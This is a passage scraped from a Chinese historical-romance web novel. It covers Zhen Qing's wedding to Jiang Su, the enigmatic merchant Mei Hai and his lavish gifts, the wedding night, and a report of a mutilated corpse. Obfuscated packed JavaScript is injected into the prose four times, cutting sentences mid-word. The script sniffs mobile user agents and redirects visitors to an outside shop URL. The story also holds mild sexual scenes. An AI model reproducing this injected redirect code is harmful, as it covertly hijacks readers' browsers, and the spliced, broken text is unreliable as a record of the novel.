那时候符家受人构陷,符家长辈突然暴毙,符生枝已然站在了崩溃的边缘线,最后是薄映禾走出来同符生枝合作,才有今日这方稳定局面和成就,也让旁人一直觉得符家从未衰败过。 曾经围在符生枝身边的女娘们甚多,其中不怀好意的更是不计其数。那时候的他举目无亲,人人避之不及却又想在他身上吸食最后一块肉,因此他不敢、也不愿意去相信别人。 在薄映禾出现的时候,他并没有觉得她与旁的小娘子有多少不同,可是后来他发觉到薄映禾的才能绝非一般人可以比拟的。 于是他选择相信,和薄映禾合作,可姿态是一如既往地高傲与不屑,甚至在那日约法三章:“你知道的,我身边的小娘子甚多,我同你合作,我一定要和你约法三章。 “第一,你不能喜欢上我;第二,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665360|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我坐上了都督的位置,你离开陇右;第三,我可以帮你,但是你要完全地信任我,为我所用。” 很不公平,但在这样的符生枝身上说出来,又很合理。 毕竟他就是一个无耻之徒。 薄映禾颔首道:“我可以答应,但你也要答应我三件事,并不强你所难。第一,你告诉我枕家当年灭门的事情。第二,必要之时,我需要借助陇右的兵力,这第三......” 薄映禾弯了弯唇瓣,勾起嘲讽的笑意,甚至还有些得意:“你符生枝别爱上我,从而困住我。” 符生枝那时还年轻,心气儿正是高的时候,听到薄映禾这话,嘲讽道:“你放心,我绝对不可能会喜欢上你的!” 可惜后来,物是人非。 他们在庭州度过无数个日日夜夜,相伴过许多难堪的时候,知道彼此的脆弱,享受过彼此开怀的乐趣,他们也变成了世界上最亲近的人。 所以当符生枝坐上了都督的位置,并没有提及约法三章的事情,因为那时候他已经爱上了薄映禾,好在薄映禾也没说出那件事,他们各自心照不宣,一直到了成亲之后都不曾提及过这件事。 唯独今日又被翻找了出来。 原本以为过去的坎,没想到在多年后,依旧没有迈过去。 符生枝忍着心中的痛,低声道:“可是枕清在这里,你们姐妹已经团聚,你也要离开吗?” 薄映禾站在床榻边上,烛光照上她半张侧颜,她真的很想放下,放下这么多年以来的仇恨。有时候她在想,如果她和枕清一样,从未感受过家里的温暖,会不会也就没有这么地执着。 她隐忍蛰伏太多年,这件事情怎么能说过去就过去呢? 当年的事情,所有人都各执一词,幕后真凶究竟是谁,竟也无从辩解。她想要真凶伏法,可也不想伤害任何一个无辜之人。 薄映禾敛下心中的思绪,轻声安抚道:“我从未说过我现在就想离开,枕清还要和江诉成婚,我还没看到她大婚,也没有好好和她叮嘱。符生枝,我动手前,会和你说的。你别害怕,也别担忧。” 这件事把所有人都逼得太急,已经到了一个危险的临界点,今日这一桩桩一件件的事情没有拾掇好,日后必定后患无穷。 薄映禾整理好情绪,转身看着已经溃不成军的符生枝,心不禁陡然一悸,她从未见过符生枝如此憔悴模样,好似被人轻轻一碰就能碎掉了一般。 她知道自己方才过甚其词,只好缓缓走前捧上他的脸颊,目光落在他沧桑的面容上,她好似提早吃了一颗没成熟的李子,酸得她只剩苦涩。 薄映禾踮起脚尖倾身吻上了符生枝,两人的唇瓣辗转,嘴里逐渐有一抹苦涩的咸味,不知道是谁的泪,又不知道是谁心中泛起了无尽的苦楚。 烛火明明灭灭,薄映禾的衣服掉落在地,符生枝碰上她细腻的肌肤,身下一点点地被探索,他哑着声,声音携有不可察觉地哭腔:“薄映禾,你别吓我,我害怕。” “不怕。”薄映禾抬眸看着近在咫尺的身前之人,他的面颊不知在什么时候出现了一道道的泪痕,她伸出舌尖舔舐掉这碍眼的痕迹。 彼时的他们无比贴合,好像来到了一处不为人知的秘境,彻夜狂欢踏寻,只为寻求一处安稳。 一声声的闷哼与撞击,将声音撞破,又重新洗涤,好似所有的一切都不记得了,彼此眼中只有对方,他们用最原始的方法开始探求,去了解。 自此,心就安定。 69. 鸟宿枝头水影空(四) 自从上一次的差错,都护府便已经开始严加看守,来往的人调查十分严格,就连喜帖也是给予比较亲近之人。 大婚在即,都护府置办都是一片喜气洋洋的艳红色。 枕清身穿大朵牡丹翠绿烟纱罗裙,绣着金丝边的细腻纹理,无不显示华贵美艳之姿态。 她看着镜子中的自己,佼佼乌丝,玉带珠花,花容月貌水出芙蓉,心竟不自觉地跟着空了一下,镜中的自己妆容花钿细腻艳丽,眸含春水清波流盼,一颦一笑动人心魂,甚至比第一日换做北肆姝的模样更为难认。 她拿着栩栩如生的孔雀扇面,图案瑰丽漂亮,置于身前更显夺目。 身旁的卷柏眼睛一亮又一亮,突然从一旁抓出几颗喜糖,放在枕清唇瓣边,示意她吃。 卷柏虽然想一直看着枕清这副模样,可也不想再看到枕清晕倒了,上回把他们几人都吓坏了,生怕出了什么状况。 成亲这一事本就冗长繁琐,好在都是符生枝和薄映禾一手操办,并不需要他们多操心。不过枕清并不需要什么盛大的婚礼,只要对方是江诉便好。 这场成亲的礼堂也是尽其可能,置办得最为细致。 小到裙摆上的金丝秀,大到满堂宾客的聚集。陇右这边有头有脸的人物都来了,甚至跟符生枝关系好的几位州刺史都来,可谓是给足了面子。 枕清再看到那些人后,竟然有几许惋惜,如果是在长安的话,她还能叫上包启元和陈谷,甚至还能知会陈琅和义宁一声,兴许禹王和商震也能瞧到,不过有应钰和枕灵看到,也是极好的。 枕清拖着逶迤的裙摆,身姿曼妙,她踩上十里红妆的毯子,与江诉一起走上正堂。 她看到了不少人,不仅仅有自己认识的人,她甚至还看到了许久未见的齐离弦,正好坐在薄映禾的旁边。 想来是薄映禾叫来的,她用扇子掩面,挑眉笑笑。 视线微微一转,她竟然看到了一个熟悉的身影,枕清身躯一僵,看着那张许久未见的容颜,竟然湿了湿眼眶,她唇瓣微动,喊出久违的那两字——师父。 “你阿耶不来,我总得要来啊。”商震面容变得和蔼,他笑着点头,示意她别误了时辰。 众人不知枕清的身份,一直以为她便是北肆姝,便也觉得商震是渭州刺史的好友。 近日陇右下起了大雪,山中封路,渭州刺史没来也属实正常,派上自己亲近的人马,也算是对此事的珍重。 众人面色皆是客气地朝那一处看去,有几个人认出商震的模样,神色一凛,心中狐疑不敢相认,可也不敢小觑,只敢在暗中打量观察商震。 商震是个大人物,手底下的兵,可以说遍布天下,这手底下有多少人当了官,又有多少人离开了地方,谁也不知道。 可当初的风光与赫赫威名,在战场上生死搏杀,意气风发的喝酒吃肉,谁也不敢忘啊。 商震自然也是发觉到了不一样的目光,但他早就不是之前的将军,更没有之前的本事,便也不打算相认,神情一直注视着枕清。 枕清心下安定,知道这是替禹王来看她的成亲。 也对,成亲的大事,怎么能没有长辈呢?虽说薄映禾是她的亲姊姊,可终归是才相处几月的人,而且彼此对禹王和符生枝都有疑惑之处。 她收回目光,与江诉按照规矩拜堂行礼,忽而听到远处一道热闹的声音,好似一位极大名气的人出现在此处。枕清的头稍低,她微微看向江诉,两人心照不宣地行完对拜礼,才缓缓直起腰身,缓缓斜眼向动静的来源处。 只见那人阔步走来,面容已有风霜的褶皱与沟壑,但胜在干净,年岁虽大,称不上俊美,却也别有一番风味,他的体态气质,在年轻的时候,一定是个俊美的翩翩公子。 他走来的步伐却沉而稳,身形也极其轻快,应当有武功与内力。 “在下梅海,听闻都督府中有喜事,特意来叨扰,讨点喜气的好彩头,不知两位新人是否介怀?”梅海看向正堂朝他转来的江诉和枕清。 不,应该说,他先是看向枕清,再转向江诉,看似询问,却有肯定的姿态。 江诉不紧不慢地伸出手握住枕清的手,目光平和地看着那人,笑道:“来者是客,自然不介怀,牧青,安排入座。” 从这人出现到现在,枕清并没有说话,只是察觉到这人的目光有些奇怪的意味,她说不出来这是什么样的感觉,却能感受的到。 梅海么? 这人不就是河东盐池的首商。 她抬扇子掩饰半张面容,待礼成后,枕清并没有在婚房内待着,反倒是江诉一直牵着她的手,挨个会客敬酒。 带着新妇出面,这件事于礼不合,不过枕清也不想一直在屋子内等着江诉,自然也愿意与江诉一同会客。众人也知都督看重这位叫江诉的年轻人,而北肆姝有渭州刺史坐镇,今日甚至连来梅海都来了。他们那几位都没有意见,自认不可能这般没眼见力讲这件事于理不合,各自都心照不宣地喊了恭喜。 他们两人先是敬上了大都督,第二位便是薄映禾,第三位枕清原本便是想找上商震,可是商震不想要惹人注意,早就躲在角落里偷喝了酒。 枕清知道他们二人的身份多有不便,反正商震一定会在庭州待上几日再走,过两日也可以寒暄,于是转头敬向那位大人物梅海。 这梅海甚至比在座的各州刺史更为厉害,是大启第一商,跟太后、圣上关系也极其好,说要把皇商都要交予梅海打理,梅海并没有要接这泼天的富贵,反倒是离皇宫越来越远,甚至隐隐有淡出众人视线的举动。 当下因为梅海回来,所有人都不觉明厉,注视着这人的一举一动。 枕清为江诉倒上酒水,走向梅海。 不知道什么时候,应钰已经神不知鬼不觉地站在梅海的旁边,眼睛泛着亮光,俨然是十分崇拜的模样。 见此模样的枕清不由看向盛松言,盛松言神态透着随她的无奈,枕清收回视线,视线重新落在眼前叫梅海的人身上。 梅海似乎很怕冷,穿的衣服极为厚重,将整个人裹得严严实实,除了露出一张脸,其余的地方都看不到。 大启的商人地位虽说不高,但梅海这般的人物,怕是十个达官显贵都比不上,所以更没有人会投以鄙夷抑或是瞧不上的模样,所有人都会恭恭敬敬地叫一声“梅公”。 枕清自是知道一些,可她装作自己毫不知情的模样。而且他不喜欢这个人的目光,不像是打量与探究,也没有发觉她秘密的得意,更多像是一种奇怪的表现,好似窥探又好像满足,甚至带着长辈的欣慰与衡量。 归根结底,就是各种情绪都沾了点,又像是什么都没沾。 枕清开了今日的第一声口,声音清冷剔透:“阁下,好似很怕冷?” 嗓音比大雪天里的雪色还要冷。 梅海若无其事地拍了拍身上的雪,笑着看向外边下起来的雪絮,接过江诉递过来的酒水道:“是有些冷,年纪大了,便有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665361|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遭不住了,小娘子勿怪。” “阁下说笑了,何罪之有呢?若我要是因此怪罪于你,那也必定要先怪罪上自己,没能招待好阁下。”枕清笑靥浅浅,她声音很淡也很疏远。 不知道为什么,枕清总觉得这双眼睛让她非常地不舒服,是一种难以察觉的危险,但又好似很平和的温柔。 但这所有的感觉都来自于对这人的一无所知。 梅海喝完酒水,看着江诉也一杯下肚后,才说:“今日有缘,赶上了你们大婚的喜事,我也不白讨酒喝,特地送此大礼一份!” 这份大礼有一本薄册记录,枕清略微看上一眼,就发现那里面写得都是稀奇的物件,十分珍贵,甚至还有两件堪称世间绝无仅有,独一无二。 枕清向来不信天上掉馅饼的事情,即使这眼前的人再厉害,再想要讨口喜酒喝,也一定不需要这么大手笔,这分明是有更大的算盘。 她自然不可能在这么多人面前质问推囊,只得轻轻颔首点头,转向其他几位州县的刺史大人,她唇瓣含笑道:“诸位使君,喝得尽兴。” 轮到邓跃等人,他们笑得谄媚,左一声嫂嫂右一声嫂嫂,唤得极其亲昵,唯独仇羌心不在焉地随口奉承了几句,又和张飞飞几人打个笑话过去了。 这场会堂热闹有趣,时间渐晚,所有人都已经到了意兴阑珊的地步。 枕清向梅海走过去,想要推辞梅海今日所要给的她的东西,还没等她开口,梅海就像是知道她的想法一般,摆了摆手,别有深意地和身旁的应钰开始搭话。 这是故意要避开自己和他搭话,特意找上了应钰,来阻止她进行下一步。要么他知道自己和应钰关系好,要么就赌她懂礼数,不会特别过来再攀谈。 枕清知道应钰想要问一些为商之道的事情,便也不去打搅,于是转身朝旁人敬酒。 待人一走后,梅海的视线不自觉落在一直同旁人打交道的枕清身上,身姿洒脱毫不扭捏,偶尔会看上几眼座位上的薄映禾。他喝了酒,漫不经心地回着应钰的话,偶尔提携一两句,也只是点到为止。 应钰知道梅海意兴阑珊,若要是再说下去,便是不礼貌了,于是说了几句好听的话,也就起身告退去找商震了。 梅海最后坐在角落上,看着满堂宾客,但目光始终只聚焦在那两人的身上。 良久后,他独自一人低低地笑了出声,不知道是高兴还是叹息。 在众人哄闹一堂中,他逆着人流,大步走出府门外。 枕清笑着举起酒杯,视线穿过丛丛人头,独独望向往外走的那人,身形镇定自然,一步步踩在蓬松的雪地中,肩头与发梢落满了白发,好似变成了垂垂老矣的老者。 梅海看着空中飘落的白雪,轻轻地哈了一口雾气,想回首再看向枕清的模样,没想到枕清正看着他,不知道注视了多久,只是那神情好似疑惑不解,又好似审视探究,最后在他探望过去,竟也没有被发现后的尴尬。 她只是慢慢地举起酒杯,别有深意地侧眸颔首,示意这一杯,独自为他一人敬酒。 梅海隔着人头攒动的宾客,望见她笑靥如花的面容,突然深感欣慰。 他正要转身离开,身旁出现了一个人,不知道是不是受了枕清的意思。仇羌拿出一把伞,递到了他的手边。 梅海沉沉地瞧了一眼仇羌,唇瓣露出淡然地一抹笑,撑开伞面,大步踏出府门后,口中自言自语般道:“枕淮啊枕淮,你的孩子都长这么大了,竟也都出嫁了。” 70. 鸟宿枝头水影空(五) 枕清同江诉忙碌到深夜,送走了一众宾客,才觉得有歇息的余地。 他们两人的配饰与喜服都极其厚重,枕清身子骨不像从前那般好,肩头被压得生疼,刚进屋中,江诉先是帮枕清摘掉满头珠翠,脱掉厚重外袍,枕清任由江诉的动作,昏昏欲睡中。 晃晃醒来的时候,天色依旧黑得沉,她方才也没休憩几刻,但精神状态没方才那般的疲软,脑中的心思不免开始活络了起来。 枕清还没想到梅海的意图究竟是什么,就收了这么一份大礼,她的心着实是难以安定下来,如果可以的话,她还是想去当面问一问。 江诉今日被灌了许多酒水,好在没有把他醉得晕乎,他洗漱了一番,才抱住枕清。[1] 枕清感受江诉的怀抱,忍不住问道:“你说那人是不是来的太凑巧了?就好似就等着今日,可是我们从未和这个人有任何瓜葛,这到底是为了什么?难不成受人所托?” 受人所托。 这四个字,枕清只能想到陈琅。 可是陈琅绝对不知道自己还活着,那一定就不是他。 暮色昏沉,枕清离开江诉的怀抱,脱下自己另一层的喜服,露出纤细的身形,江诉走前将她的衣服全部挂在一旁的屏风上。 枕清思索又道:“可我身边除了应钰和陈琅便再也没有了旁人,如果不是他们,也没有别人能有这么大的手笔。” 转念一想,她抬眸望向江诉,恍然大悟般道:“可我为什么要从自己这边入手呢?说不准这梅海是冲着你来的,抑或是符生枝,毕竟陇右也是一块肥硕的地方,他是商人,目光犀利毒辣,兴许觉得这里有利可图,而这是为了收买笼络的手段?” 江诉轻轻一笑,这都忙活了一天,她竟也不嫌累,甚至还有力气想这些东西,既然枕清想要知道清楚,他也不打算隐瞒自己的这一边。 “你知道的,我在大启没有什么知心之人,对于旁人的情感更是淡薄,如果真要说,那么这位梅海,和我无关。” 枕清挑起半边眉眼,心中起了坏水,故意道:“谁说的,你这不是有阿之奎吗?” 江诉知道枕清这是故意讥讽他与王闻礼的关系,心中介怀着呢。 江诉笑,压低声道:“那你觉得他会给我和你这么大的手笔吗?你当真是不知道一匹马和一口粮有多贵,他要是真的敢给,那一定是脑子进水了。” 阿之奎这么想打入长安,怎么可能还会给他们送礼,况且这么多钱,都能养活上万人的军队好几年了,要是真的是阿之奎,脑子一定是被驴给踢了。 不过估计阿之奎那样的人,即使是喂了狗也不会给她的。 枕清如是想着,不过她在当下也只能想到这些,其他倒也想不明白了,她慢慢地说:“明早他应该还在,到时候再问!看看他究竟存着什么样的心思。” 江诉低垂目光,鼻尖相抵着,他笑说:“今夜先睡吧,不必再想了。” “你是想睡,还是想睡我?” 枕清方才一直在想其他的东西,才发现自己身上竟不着寸缕,可江诉还跟个斯文败类的禽兽一般,穿着皆是完好,甚至看向她的目光竟是如此的明朗!没有半点隐含欲望的神色! 不知道是从哪里听来的话,说是不能让男人太快得到心爱的女人。 果然如此! 她微微眯起眼,忽然升出一股不高兴的意味,缓缓凑近,想要说点威逼利诱的话。 不料门外突然传来了两道侍女的声音,枕清的心突然慌乱了一瞬,破有慌不择路的意思,直接钻进了江诉的怀中,身上细腻柔和的料子将她包裹,好似掉进了一个温柔的陷阱中。 “主君,嬷嬷说要帕子落红,需要我送进来吗?” 江诉感受到怀中人紧张的动作,忽然在喉咙中发出一声闷闷的笑意,宽敞的衣袖紧紧包裹住身前的人儿,把人围成一个令她觉得安心的程度,朝外道:“不必了,天色甚晚,不必理会我这里。” 青衣们垂首称是,便自觉地离开了院子。 枕清心中突然松了一口气,即使成亲了,这么还跟偷情一样,她继而仰起脸:“你还没回答我呢?你是想睡,还是想睡我?” “我是你郎君了,这两者有什么不一样吗?”江诉道。 枕清耸耸肩:“自然有的。” 江诉垂下眼睑,笑着追问道:“那你想我怎么回答?” 枕清说:“当然是,洞房花烛夜,好好贪一贪欢。” 虽然话是这样说,可是枕清也不是个正人君子,把江诉逗弄到满身满眼都是情欲,甚至对自己移不开眼,想要肆意取夺时,枕清朝床榻后一躲,反手用绳索桎梏住江诉的手掌。 风吹廊庑,床边的铃声清脆作响。 好似曼妙地女娘声动。 枕清十分满意地看着江诉泛红的神色,嘴角忽然一咧:“关灯!睡觉!” 江诉闻言,倏地脱开方才捆缚的桎梏,轻巧地将人逼至角落,枕清又换做弱小无辜的模样,方才的狡黠与嚣张扫视一空,甚至连那样的影子都摸不着。 他忽然气笑了,就知道枕清是故意逗弄到他惹上一身邪火后,又要装作若无其事的样子睡觉,这是故意想让他难受一晚呢。 枕清在江诉侵略的目光下,突然被江诉翻了一个身,她惊讶大呼,可惜外边除了一道又一道风声,再无旁的动静。 今晚的呜咽和哭泣都被裹挟在肆虐的寒风中,所有声响都被无情吞噬。外边落下白茫茫的雪色逐渐变得炙热,甚至还有些滚烫。 枕清脸颊浮起薄红,愠怒道:“你也就在这件事上占上风!” 江诉如愿以偿,心满意足道:“是啊,这也就足够了。” ...... 江诉的府宅位于庭州中心偏西北的位置,虽说与热闹的街道不近,却也不远。 看起来不是什么很好的位置,可胜在安静,甚至府中的环境与装扮与长安的布局有几许相似,其中更是添加了继续江南水乡的柔情蜜意。 枕清坐在一旁的池塘边上,腰在隐隐地发酸,双腿战战,浑身都没力气。 自她成亲结束的那天,第二日她想要去看梅海,她居然找不到这个人了,委托薄映禾出马之时,薄映禾却说不必找了。 在薄映禾成婚的那天,都督府门口出现了好几箱金银珠宝,其中有许多价值连城的好宝贝,没有人告诉她这些东西的主人是谁,只有一张红色纸条,上面写着新婚祝福。 是送礼来着,出手极为阔绰。 枕清没有想到薄映禾居然也收到过,那么就只有一个答案,那便是这个人与枕家有关。 可是知道她和薄映禾是枕家人的身份少之又少,那个人岂不是有通天慧眼? 正在思索的枕清漫不经意地抬起下颚。 薄映禾回想道:“大概是阿耶的故友,阿耶曾说过他有好几位好友,那位叫梅海的大人或许就是其中一位,他知道我们的身份,所以可能是替阿耶看我们出嫁,也替阿耶为我们送出嫁妆。” 当初的枕家满门被杀,滋事体大,人人都不敢出面说与枕家有任何瓜葛,现如今还能记住枕家的人更是少之又少。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665362|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也许这位梅海真的是与枕淮情深义厚,但即使送礼,也不至于送到这个份上,这是多么厚重的情谊啊。 枕清百无聊赖地碰了碰结冰的水,冷得她全身打起了一个颤,随后漫不经意地收回手。 既然薄映禾都那么讲了,她就也不去追问人家,至于商震,她这一副变扭的姿势和快要散架的骨头,自然是不敢和商震见面的,于是打道回江诉的府宅中,打算明日再去。 江诉宅院里的人极少,她自己也是喜欢一个清净的地方,更不喜欢旁人的前呼后拥,倒也没觉得什么,反而更乐得清闲自在。 来到陇右后,长安城内传来的消息,枕清所知道的少之又少,很多都是在这些日子听盛松言讲起,比如说盐商被陈以海给截胡了,又说户部尚书和郑仆射同几位朝中盟友开始建立党羽,隐隐有对抗太后之势。 而易为之除了教习圣上,成天待在自己的书阁中,有退隐山林的趋势。自从禹王受伤后,一直未管理朝中的事务,那事一发生后,沈阁老也说自己身体抱恙,竟也有三四个月未曾上朝,太后殿下已有独掌大权的意思,还有一些旁人,虽说不起眼,但每个人都有自己的归宿与安排。 枕清听到的时候,感觉长安好似变了样子,但又似乎什么都没有变。 陇右在今日终于出现了一天的太阳,枕清突然抬手挡了挡,应钰走到她旁边,竟也跟她坐下来。 终于没看到她身边有盛松言的身影,枕清颇感意外道:“他去哪里了?竟然愿意把你一个人留在这里?” 应钰无所谓道:“估计是和江诉商量事情去了,神神秘秘地不让我听,我就只好来你这里了。昨日的新婚之夜过得如何?我可是听旁人说你哭了一夜,嗓子都哑了,他也不曾放过你呢。” 这个他自然说得是江诉。 还嗓子都哑了? 枕清不由被哽咽了一下,不知道应钰从哪里听出来的流言蜚语,甚至说到后面还是神秘兮兮的模样,仿佛窥探到什么不得了的秘辛。 这些话虽然不是全假,倒也不是全真,起码嗓子还没哑到那般程度。 不由想到昨夜她又哭又怒的时候,院外可是一个人都没有,甚至连人的走动声都不曾有过,别说府中这么大的地方,她就算喊破喉咙都不会有人听到,况且她昨天喊得极其小声,还是把声音咬碎了含下去的! 这到底是谁编造的,竟然能如此夸大其词!看来陇右果真是安居乐业,一个个都吃饱了没事干! 枕清冷哼一声,避而不答:“你和梅海说了什么?” 应钰知道枕清在转移话题,不过她也硬要去探究,到时候她和盛松言倘若发生点什么,要是枕清死咬不放,估计她那时候也得面红耳赤不知如何反驳。 俗话说,做人留一线,日后好相见。 应钰开口道:“无非就是问了下生意上的事情,他提点几句,让我觉得自己的思绪豁然开朗。只不过他兴致不高,倒是一直在看你,偶尔会瞥向坐上的薄映禾,竟没把符生枝和江诉放入眼里。” 虽说应钰对梅海心怀敬仰,但是她与梅海交谈的那几次,也发觉了很多东西,梅海都比她们小辈看得长远,可惜不太多谈,而且思绪和目光都是被枕清牵着走的。 枕清想要与他说话的时候,他却摆摆手没有答应,真是一个奇怪的人。 旁的应钰倒是没发现,她当下真的好想知道昨夜的事情,忍不住又问:“你和江诉那些事情,到底是不是真的。” 枕清半偏着脑袋,若有所思道:“既然你都知道是谣言了,你居然还信?” 71. 鸟宿枝头水影空(六) 信这件事的人不只有应钰一个人,盛松言故作轻松地找上了江诉,话语中都是慢慢地打探,生怕惊扰到什么,引得满身不快。 江诉心中虽说是忍俊不禁,却也没扫了盛松言的兴致。 盛松沿终于见到传闻中的江诉,并没有急不可耐地问出与枕清的二三两事,而是对长安与陇右各个局势进项分析开解,江诉都能一一应对,了解地甚至比他更为深刻。 即使身在长安,对各方局势都能应对入流,甚至对每个人的心思与动作洞悉颇为深刻,而且就连他不曾留意过的地方,江诉都能清楚的知道。 很难不让人怀疑江诉即使做到了这个份上,还是藏了拙。 按照他的本事,就算回长安当个尚书令也不为过,不过到底是年岁尚小,许多东西在老者眼中需要历练,自然也轮不进他们小辈的口袋里。 他们二人都是在朝为官,聊得十分火热也是正常,怕最后滔滔不绝也没切入今天来得最终目的,盛松言心中有些急切波动。 他选择快刀斩乱麻,毫无铺垫地切入主题问:“江长史,我还有一个问题想问,怎么能让一个人,不、是如何让一位女娘答应嫁给自己。” 盛松言选择问江诉也并无道理,一来是应钰和枕清关系极好,两人的喜恶大抵也是相同的,那么江诉定也会有所了解,二来就是枕清曾经当过皇后,可这一世江诉依旧能与枕清走到一起,定然是有过人之处。 这两相结合,江诉不就是最好的人选么? 嫁给自己? 江诉不动声色地看着盛松言一副自己一定找对人的模样,不禁在心中感喟。 他不是什么情感大师,更没有替人当情感导师的能力,看着人这么望着他,又回想枕清的,于是指了指自己的脸,选择一个看似荒谬,却又不荒谬的答案,道:“大概是生出这样的一张脸就可以了。” 盛松言:...... 盛松言张了张口,不知道从何开口,便想开启胡言乱语,抑或是装瞎耳聋模样。 江诉却没有放过他的意思,表情轻松自然,声音含笑道:“我也不知道,是她自己说要嫁给我的。” 我也不知道,是她自己说要嫁给我的。 这句话一直在盛松言脑海中回荡,像是若无其事的炫耀,又像是漫不经心地随口一说,整得盛松言越来越想不开,神情变得僵硬古怪,他佯装“哈哈”两声,当即转身就走了。 枕清和江诉,一个赛一个神经。 盛松言想着。 我在寻求你的意见,你们一个两个把我当成傻子耍。 见人真的要离开,江诉这才认真道:“我娘子曾经说过,她要的人,是这样的。 “‘必须要事事如我所愿,为我献上身家,助我前途坦荡,为我挡去灾厄,才是真的喜欢我,才会令我动容片刻。而不是自己自卑,以爱之名,打压我,抨击我,困住我。’ 所以,盛县令是否能对应小娘子做到这一步呢?” 盛松言脚步面容升起愧色,他还在几月前困住应钰,甚至在上一世让家中的长辈伤害到了她。 这件事他并不能完完全全地做到。 可是或许在日后,他真的能这样对应钰。 他回过神来,问江诉:“敢问江长史,是否能做到如此呢?” 江诉笑着道:“我想,我是有的。不过,还没做到最好,我会做到最好,让她日日欢喜,不再烦忧。” 盛松言好似明白自己为什么会察觉到江诉在藏拙,这份藏或许是在保护枕清,亦是保护自己。 只有自己强大,才能保护身边的人。 也只有这样,才能保身边的人平安无虞。 他脑袋运转地飞快,当即颔首道谢:“我明白了,多谢江长史提点。” 其实江诉说得不多,不过聪明人的脑子就是好使,随便的一提点,他就能自己悟出一大堆道理,甚至都不需要他再开口说什么。 牧青和仇羌看着盛松言的步伐,当即觉得奇奇怪怪,于是跨步进去,指了指刚走的人,又看了看拿起兵书看的江诉,问道:“这怎么来得风风火火,去得也这般着急忙慌啊。” 卷柏别有深意地哼哼道:“自然是因为她身旁的小娘子喽,你一个呆瓜你懂什么啊,一看就知道什么都不懂,就会习武!” 牧青嘴巴笨,即使被卷柏骂了也不会反驳,他还是喜欢刚开始见面的卷柏,能甜甜地喊他阿兄,现在熟悉起来了,一个不顺心就动不动骂他只会练武的呆子。 被骂的,牧青真的觉得自己变得傻不愣登。 卷柏嘻嘻哈哈地凑近,又抱了抱胸膛,啧啧两说:“你要是和仇羌的性子杂糅一下就好,一个泼皮无赖,一个呆板笨拙!” “杂糅?我是畜生么?”仇羌迈着步子走了进来,看向卷柏,揶揄道,“你这丫头怎生得这般牙尖嘴利,好赖都被你说了去。果真是和枕清待得久了,就连性子都变得这么相似。” 卷柏歪了歪脑袋,也不在他跟前气他们两了,枕清可跟她一点都不像,她在枕清面前是落了下风的,更况且她还是很信任、很喜欢枕清的。 她哼哼唧唧不作答,反倒是看向江诉,恶狠狠道:“昨夜你把我北姐姐怎么了,我看她扶腰腿痛的,折腾狠了?” 还没待江诉开口,仇羌接话道:“你一个小孩子家家,懂什么?” 卷柏哪里会不懂,她画本子看得可多了,心里黄黄暖暖的,于是耸耸肩道:“是,我不懂,你们大人才懂!是吧?大人?”[1] 仇羌刚在桌案上拿起茶杯喝一口茶水,当即喷了出来,溅得卷柏和牧青一身,牧青面无表情地拿过一旁的布料擦拭,卷柏则是气得跳脚:“老东西!你干什么啊!” “我有那么老吗?”仇羌不解道。 这段时间在陇右养着,仇羌早就没有在长安那样的妖娆妩媚,甚至还有些许男人的阳刚之气,之前的状态和模样好似都已经在身上消失,甚至连他自己都少有察觉。 他见卷柏气得说不出话的模样,咧开嘴露出一口白牙,没有一点愧疚的口吻道:“不好意思,实在是不好意思,你一定会体谅我年纪这么大的老东西吧。” “当然了!”卷柏咬牙哼了一声,“老东西!收拾收拾去世得了。” 牧青眼皮一跳,甚至觉得有些过火,可仇羌早就知道卷柏是个什么样的人,什么难听的狠话都能说得出口,反正能气到旁人,对卷柏而言,那就是成功。 虽然他说卷柏和枕清讲话如出一辙的气人,但枕清相对稳定,起码沉得住气,泰山崩于前而面色不变的人,除非到了迫不得已的地步,枕清断是不会出口伤人。 仇羌知其性子,也没怪罪的意思,他笑道:“真坏啊,如果我真的死了,以后谁给你骂呢。” 卷柏面色表情松弛,点点头,没好气道:“说得在理,还是活着吧。” 闹了这么一个事儿,仇羌这才说今日来这里的目的。 仇羌开口,意味深长地看向江诉道:“湖中发现了一具女尸首,双眼被挖了,头颅与身子是分开的,头是找到了,就是那具身子并未被发现。” 江诉面色不变,淡淡道:“这件事,你应当去报官,而不是来我这里。” “如果我说是我把这具尸体放入湖中呢?”仇羌没有避讳的意思,他略过牧青和卷柏别有深意的目光,“那夜,是北小娘子叫我把尸体扔出都护府外的,因为她看到没了双眼的女尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 